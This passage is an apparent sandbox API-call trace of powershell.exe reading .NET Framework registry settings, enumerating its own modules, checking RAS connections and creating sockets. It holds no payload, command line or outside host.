lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x599de54 | out: phkResult=0x599de54*=0x208) returned 0x0 [0191.529] RegQueryValueExW (in: hKey=0x208, lpValueName="InstallationType", lpReserved=0x0, lpType=0x599de74, lpData=0x0, lpcbData=0x599de70*=0x0 | out: lpType=0x599de74*=0x1, lpData=0x0, lpcbData=0x599de70*=0xe) returned 0x0 [0191.530] RegQueryValueExW (in: hKey=0x208, lpValueName="InstallationType", lpReserved=0x0, lpType=0x599de74, lpData=0x2521ea0, lpcbData=0x599de70*=0xe | out: lpType=0x599de74*=0x1, lpData="Client", lpcbData=0x599de70*=0xe) returned 0x0 [0191.530] RegCloseKey (hKey=0x208) returned 0x0 [0191.542] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec1c | out: phkResult=0x599ec1c*=0x208) returned 0x0 [0191.543] RegQueryValueExW (in: hKey=0x208, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x599ec38, lpData=0x0, lpcbData=0x599ec34*=0x0 | out: lpType=0x599ec38*=0x0, lpData=0x0, lpcbData=0x599ec34*=0x0) returned 0x2 [0191.543] RegCloseKey (hKey=0x208) returned 0x0 [0191.550] GetCurrentProcessId () returned 0xef4 [0191.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x208 [0191.551] EnumProcessModules (in: hProcess=0x208, lphModule=0x25225f0, cb=0x100, lpcbNeeded=0x599ec28 | out: lphModule=0x25225f0, lpcbNeeded=0x599ec28) returned 1 [0191.560] EnumProcessModules (in: hProcess=0x208, lphModule=0x25226fc, cb=0x200, lpcbNeeded=0x599ec28 | out: lphModule=0x25226fc, lpcbNeeded=0x599ec28) returned 1 [0191.562] GetModuleInformation (in: hProcess=0x208, hModule=0xc40000, lpmodinfo=0x252293c, cb=0xc | out: lpmodinfo=0x252293c*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0191.562] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.562] GetModuleBaseNameW (in: hProcess=0x208, hModule=0xc40000, lpBaseName=0x3fec28, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0191.562] CoTaskMemFree (pv=0x3fec28) [0191.563] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.563] GetModuleFileNameExW (in: hProcess=0x208, hModule=0xc40000, lpFilename=0x3fec28, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0191.563] CoTaskMemFree (pv=0x3fec28) [0191.563] CloseHandle (hObject=0x208) returned 1 [0191.563] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.563] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0191.564] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x0) returned 0x2 [0191.565] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x208) returned 0x0 [0191.565] RegQueryValueExW (in: hKey=0x208, lpValueName="UseHttpPipeliningAndBufferPooling", lpReserved=0x0, lpType=0x599ec3c, lpData=0x0, lpcbData=0x599ec38*=0x0 | out: lpType=0x599ec3c*=0x0, lpData=0x0, lpcbData=0x599ec38*=0x0) returned 0x2 [0191.565] RegCloseKey (hKey=0x208) returned 0x0 [0191.566] GetCurrentProcessId () returned 0xef4 [0191.567] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x208 [0191.567] EnumProcessModules (in: hProcess=0x208, lphModule=0x2525230, cb=0x100, lpcbNeeded=0x599ec28 | out: lphModule=0x2525230, lpcbNeeded=0x599ec28) returned 1 [0191.569] EnumProcessModules (in: hProcess=0x208, lphModule=0x252533c, cb=0x200, lpcbNeeded=0x599ec28 | out: lphModule=0x252533c, lpcbNeeded=0x599ec28) returned 1 [0191.570] GetModuleInformation (in: hProcess=0x208, hModule=0xc40000, lpmodinfo=0x252557c, cb=0xc | out: lpmodinfo=0x252557c*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0191.571] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.571] GetModuleBaseNameW (in: hProcess=0x208, hModule=0xc40000, lpBaseName=0x3fec28, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0191.571] CoTaskMemFree (pv=0x3fec28) [0191.571] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.571] GetModuleFileNameExW (in: hProcess=0x208, hModule=0xc40000, lpFilename=0x3fec28, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0191.571] CoTaskMemFree (pv=0x3fec28) [0191.571] CloseHandle (hObject=0x208) returned 1 [0191.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0191.572] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseSafeSynchronousClose", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x0) returned 0x2 [0191.573] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x208) returned 0x0 [0191.573] RegQueryValueExW (in: hKey=0x208, lpValueName="UseSafeSynchronousClose", lpReserved=0x0, lpType=0x599ec3c, lpData=0x0, lpcbData=0x599ec38*=0x0 | out: lpType=0x599ec3c*=0x0, lpData=0x0, lpcbData=0x599ec38*=0x0) returned 0x2 [0191.573] RegCloseKey (hKey=0x208) returned 0x0 [0191.574] GetCurrentProcessId () returned 0xef4 [0191.575] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x208 [0191.575] EnumProcessModules (in: hProcess=0x208, lphModule=0x2527e9c, cb=0x100, lpcbNeeded=0x599ec28 | out: lphModule=0x2527e9c, lpcbNeeded=0x599ec28) returned 1 [0191.576] EnumProcessModules (in: hProcess=0x208, lphModule=0x2527fa8, cb=0x200, lpcbNeeded=0x599ec28 | out: lphModule=0x2527fa8, lpcbNeeded=0x599ec28) returned 1 [0191.578] GetModuleInformation (in: hProcess=0x208, hModule=0xc40000, lpmodinfo=0x25281e8, cb=0xc | out: lpmodinfo=0x25281e8*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0191.578] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.578] GetModuleBaseNameW (in: hProcess=0x208, hModule=0xc40000, lpBaseName=0x3fec28, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0191.578] CoTaskMemFree (pv=0x3fec28) [0191.578] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.579] GetModuleFileNameExW (in: hProcess=0x208, hModule=0xc40000, lpFilename=0x3fec28, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0191.579] CoTaskMemFree (pv=0x3fec28) [0191.579] CloseHandle (hObject=0x208) returned 1 [0191.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0191.580] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x0) returned 0x2 [0191.580] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x208) returned 0x0 [0191.581] RegQueryValueExW (in: hKey=0x208, lpValueName="UseStrictRfcInterimResponseHandling", lpReserved=0x0, lpType=0x599ec3c, lpData=0x0, lpcbData=0x599ec38*=0x0 | out: lpType=0x599ec3c*=0x0, lpData=0x0, lpcbData=0x599ec38*=0x0) returned 0x2 [0191.581] RegCloseKey (hKey=0x208) returned 0x0 [0191.582] GetCurrentProcessId () returned 0xef4 [0191.582] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x208 [0191.582] EnumProcessModules (in: hProcess=0x208, lphModule=0x252aadc, cb=0x100, lpcbNeeded=0x599ec28 | out: lphModule=0x252aadc, lpcbNeeded=0x599ec28) returned 1 [0191.584] EnumProcessModules (in: hProcess=0x208, lphModule=0x252abe8, cb=0x200, lpcbNeeded=0x599ec28 | out: lphModule=0x252abe8, lpcbNeeded=0x599ec28) returned 1 [0191.585] GetModuleInformation (in: hProcess=0x208, hModule=0xc40000, lpmodinfo=0x252ae28, cb=0xc | out: lpmodinfo=0x252ae28*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0191.586] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.586] GetModuleBaseNameW (in: hProcess=0x208, hModule=0xc40000, lpBaseName=0x3fec28, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0191.586] CoTaskMemFree (pv=0x3fec28) [0191.586] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.586] GetModuleFileNameExW (in: hProcess=0x208, hModule=0xc40000, lpFilename=0x3fec28, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0191.587] CoTaskMemFree (pv=0x3fec28) [0191.587] CloseHandle (hObject=0x208) returned 1 [0191.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0191.588] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowDangerousUnicodeDecompositions", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x0) returned 0x2 [0191.588] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x208) returned 0x0 [0191.588] RegQueryValueExW (in: hKey=0x208, lpValueName="AllowDangerousUnicodeDecompositions", lpReserved=0x0, lpType=0x599ec3c, lpData=0x0, lpcbData=0x599ec38*=0x0 | out: lpType=0x599ec3c*=0x0, lpData=0x0, lpcbData=0x599ec38*=0x0) returned 0x2 [0191.588] RegCloseKey (hKey=0x208) returned 0x0 [0191.589] GetCurrentProcessId () returned 0xef4 [0191.589] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x208 [0191.589] EnumProcessModules (in: hProcess=0x208, lphModule=0x252d69c, cb=0x100, lpcbNeeded=0x599ec28 | out: lphModule=0x252d69c, lpcbNeeded=0x599ec28) returned 1 [0191.590] EnumProcessModules (in: hProcess=0x208, lphModule=0x252d7a8, cb=0x200, lpcbNeeded=0x599ec28 | out: lphModule=0x252d7a8, lpcbNeeded=0x599ec28) returned 1 [0191.592] GetModuleInformation (in: hProcess=0x208, hModule=0xc40000, lpmodinfo=0x252d9e8, cb=0xc | out: lpmodinfo=0x252d9e8*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0191.592] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.592] GetModuleBaseNameW (in: hProcess=0x208, hModule=0xc40000, lpBaseName=0x3fec28, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0191.593] CoTaskMemFree (pv=0x3fec28) [0191.593] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.593] GetModuleFileNameExW (in: hProcess=0x208, hModule=0xc40000, lpFilename=0x3fec28, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0191.593] CoTaskMemFree (pv=0x3fec28) [0191.593] CloseHandle (hObject=0x208) returned 1 [0191.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0191.594] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.UseStrictIPv6AddressParsing", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x0) returned 0x2 [0191.595] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x208) returned 0x0 [0191.595] RegQueryValueExW (in: hKey=0x208, lpValueName="UseStrictIPv6AddressParsing", lpReserved=0x0, lpType=0x599ec3c, lpData=0x0, lpcbData=0x599ec38*=0x0 | out: lpType=0x599ec3c*=0x0, lpData=0x0, lpcbData=0x599ec38*=0x0) returned 0x2 [0191.595] RegCloseKey (hKey=0x208) returned 0x0 [0191.596] GetCurrentProcessId () returned 0xef4 [0191.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x208 [0191.596] EnumProcessModules (in: hProcess=0x208, lphModule=0x253024c, cb=0x100, lpcbNeeded=0x599ec28 | out: lphModule=0x253024c, lpcbNeeded=0x599ec28) returned 1 [0191.598] EnumProcessModules (in: hProcess=0x208, lphModule=0x2530358, cb=0x200, lpcbNeeded=0x599ec28 | out: lphModule=0x2530358, lpcbNeeded=0x599ec28) returned 1 [0191.601] GetModuleInformation (in: hProcess=0x208, hModule=0xc40000, lpmodinfo=0x2530598, cb=0xc | out: lpmodinfo=0x2530598*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0191.601] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.601] GetModuleBaseNameW (in: hProcess=0x208, hModule=0xc40000, lpBaseName=0x3fec28, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0191.602] CoTaskMemFree (pv=0x3fec28) [0191.602] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.602] GetModuleFileNameExW (in: hProcess=0x208, hModule=0xc40000, lpFilename=0x3fec28, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0191.602] CoTaskMemFree (pv=0x3fec28) [0191.602] CloseHandle (hObject=0x208) returned 1 [0191.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0191.603] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowAllUriEncodingExpansion", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x0) returned 0x2 [0191.604] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x208) returned 0x0 [0191.604] RegQueryValueExW (in: hKey=0x208, lpValueName="AllowAllUriEncodingExpansion", lpReserved=0x0, lpType=0x599ec3c, lpData=0x0, lpcbData=0x599ec38*=0x0 | out: lpType=0x599ec3c*=0x0, lpData=0x0, lpcbData=0x599ec38*=0x0) returned 0x2 [0191.604] RegCloseKey (hKey=0x208) returned 0x0 [0191.614] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x208) returned 0x0 [0191.614] RegQueryValueExW (in: hKey=0x208, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x599ec3c, lpData=0x0, lpcbData=0x599ec38*=0x0 | out: lpType=0x599ec3c*=0x0, lpData=0x0, lpcbData=0x599ec38*=0x0) returned 0x2 [0191.614] RegCloseKey (hKey=0x208) returned 0x0 [0191.615] GetCurrentProcessId () returned 0xef4 [0191.615] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x208 [0191.616] EnumProcessModules (in: hProcess=0x208, lphModule=0x2533c68, cb=0x100, lpcbNeeded=0x599ec24 | out: lphModule=0x2533c68, lpcbNeeded=0x599ec24) returned 1 [0191.617] EnumProcessModules (in: hProcess=0x208, lphModule=0x2533d74, cb=0x200, lpcbNeeded=0x599ec24 | out: lphModule=0x2533d74, lpcbNeeded=0x599ec24) returned 1 [0191.627] GetModuleInformation (in: hProcess=0x208, hModule=0xc40000, lpmodinfo=0x2533fb4, cb=0xc | out: lpmodinfo=0x2533fb4*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0191.627] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.627] GetModuleBaseNameW (in: hProcess=0x208, hModule=0xc40000, lpBaseName=0x3fec28, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0191.627] CoTaskMemFree (pv=0x3fec28) [0191.627] CoTaskMemAlloc (cb=0x804) returned 0x3fec28 [0191.627] GetModuleFileNameExW (in: hProcess=0x208, hModule=0xc40000, lpFilename=0x3fec28, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0191.628] CoTaskMemFree (pv=0x3fec28) [0191.628] CloseHandle (hObject=0x208) returned 1 [0191.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0191.629] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec1c | out: phkResult=0x599ec1c*=0x0) returned 0x2 [0191.629] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec1c | out: phkResult=0x599ec1c*=0x208) returned 0x0 [0191.629] RegQueryValueExW (in: hKey=0x208, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x599ec38, lpData=0x0, lpcbData=0x599ec34*=0x0 | out: lpType=0x599ec38*=0x0, lpData=0x0, lpcbData=0x599ec34*=0x0) returned 0x2 [0191.630] RegCloseKey (hKey=0x208) returned 0x0 [0191.631] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec20 | out: phkResult=0x599ec20*=0x208) returned 0x0 [0191.631] RegQueryValueExW (in: hKey=0x208, lpValueName="SystemDefaultTlsVersions", lpReserved=0x0, lpType=0x599ec3c, lpData=0x0, lpcbData=0x599ec38*=0x0 | out: lpType=0x599ec3c*=0x0, lpData=0x0, lpcbData=0x599ec38*=0x0) returned 0x2 [0191.631] RegCloseKey (hKey=0x208) returned 0x0 [0191.632] GetCurrentProcessId () returned 0xef4 [0191.632] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x208 [0191.632] EnumProcessModules (in: hProcess=0x208, lphModule=0x2536bf0, cb=0x100, lpcbNeeded=0x599ec24 | out: lphModule=0x2536bf0, lpcbNeeded=0x599ec24) returned 1 [0191.634] EnumProcessModules (in: hProcess=0x208, lphModule=0x2536cfc, cb=0x200, lpcbNeeded=0x599ec24 | out: lphModule=0x2536cfc, lpcbNeeded=0x599ec24) returned 1 [0191.635] GetModuleInformation (in: hProcess=0x208, hModule=0xc40000, lpmodinfo=0x2536f3c, cb=0xc | out: lpmodinfo=0x2536f3c*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0191.635] CoTaskMemAlloc (cb=0x804) returned 0x3ff010 [0191.636] GetModuleBaseNameW (in: hProcess=0x208, hModule=0xc40000, lpBaseName=0x3ff010, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0191.636] CoTaskMemFree (pv=0x3ff010) [0191.636] CoTaskMemAlloc (cb=0x804) returned 0x3ff010 [0191.636] GetModuleFileNameExW (in: hProcess=0x208, hModule=0xc40000, lpFilename=0x3ff010, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0191.637] CoTaskMemFree (pv=0x3ff010) [0191.637] CloseHandle (hObject=0x208) returned 1 [0191.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0191.638] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.RequireCertificateEKUs", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec1c | out: phkResult=0x599ec1c*=0x0) returned 0x2 [0191.638] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ec1c | out: phkResult=0x599ec1c*=0x208) returned 0x0 [0191.638] RegQueryValueExW (in: hKey=0x208, lpValueName="RequireCertificateEKUs", lpReserved=0x0, lpType=0x599ec38, lpData=0x0, lpcbData=0x599ec34*=0x0 | out: lpType=0x599ec38*=0x0, lpData=0x0, lpcbData=0x599ec34*=0x0) returned 0x2 [0191.638] RegCloseKey (hKey=0x208) returned 0x0 [0191.639] QueryPerformanceCounter (in: lpPerformanceCount=0x599ed28 | out: lpPerformanceCount=0x599ed28*=1262266190212) returned 1 [0191.660] GetCurrentProcess () returned 0xffffffff [0191.661] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e93c | out: TokenHandle=0x599e93c*=0x208) returned 1 [0191.665] CloseHandle (hObject=0x208) returned 1 [0191.665] GetCurrentProcess () returned 0xffffffff [0191.665] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e954 | out: TokenHandle=0x599e954*=0x208) returned 1 [0191.666] CloseHandle (hObject=0x208) returned 1 [0191.677] GetCurrentProcess () returned 0xffffffff [0191.677] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599ec0c | out: TokenHandle=0x599ec0c*=0x208) returned 1 [0191.699] CoTaskMemAlloc (cb=0xcc0) returned 0x3ff010 [0191.699] RasEnumConnectionsW (in: param_1=0x3ff010, param_2=0x599ec1c, param_3=0x599ec20 | out: param_1=0x3ff010, param_2=0x599ec1c, param_3=0x599ec20) returned 0x0 [0191.712] CoTaskMemFree (pv=0x3ff010) [0191.721] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x599ea04 | out: lpWSAData=0x599ea04) returned 0 [0191.732] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x454 [0191.744] setsockopt (s=0x454, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0191.744] closesocket (s=0x454) returned 0 [0191.745] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x454 [0191.749] setsockopt (s=0x454, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0191.749] closesocket (s=0x454) returned 0 [0191.750] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x454 [0191.751] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x458 [0191.751] ioctlsocket (in: s=0x454, cmd=-2147195266, argp=0x599ec24 | out: argp=0x599ec24) returned 0 [0191.752] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x45c [0191.752] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x460 [0191.752] ioctlsocket (in: s=0x45c, cmd=-2147195266, argp=0x599ec24 | out: 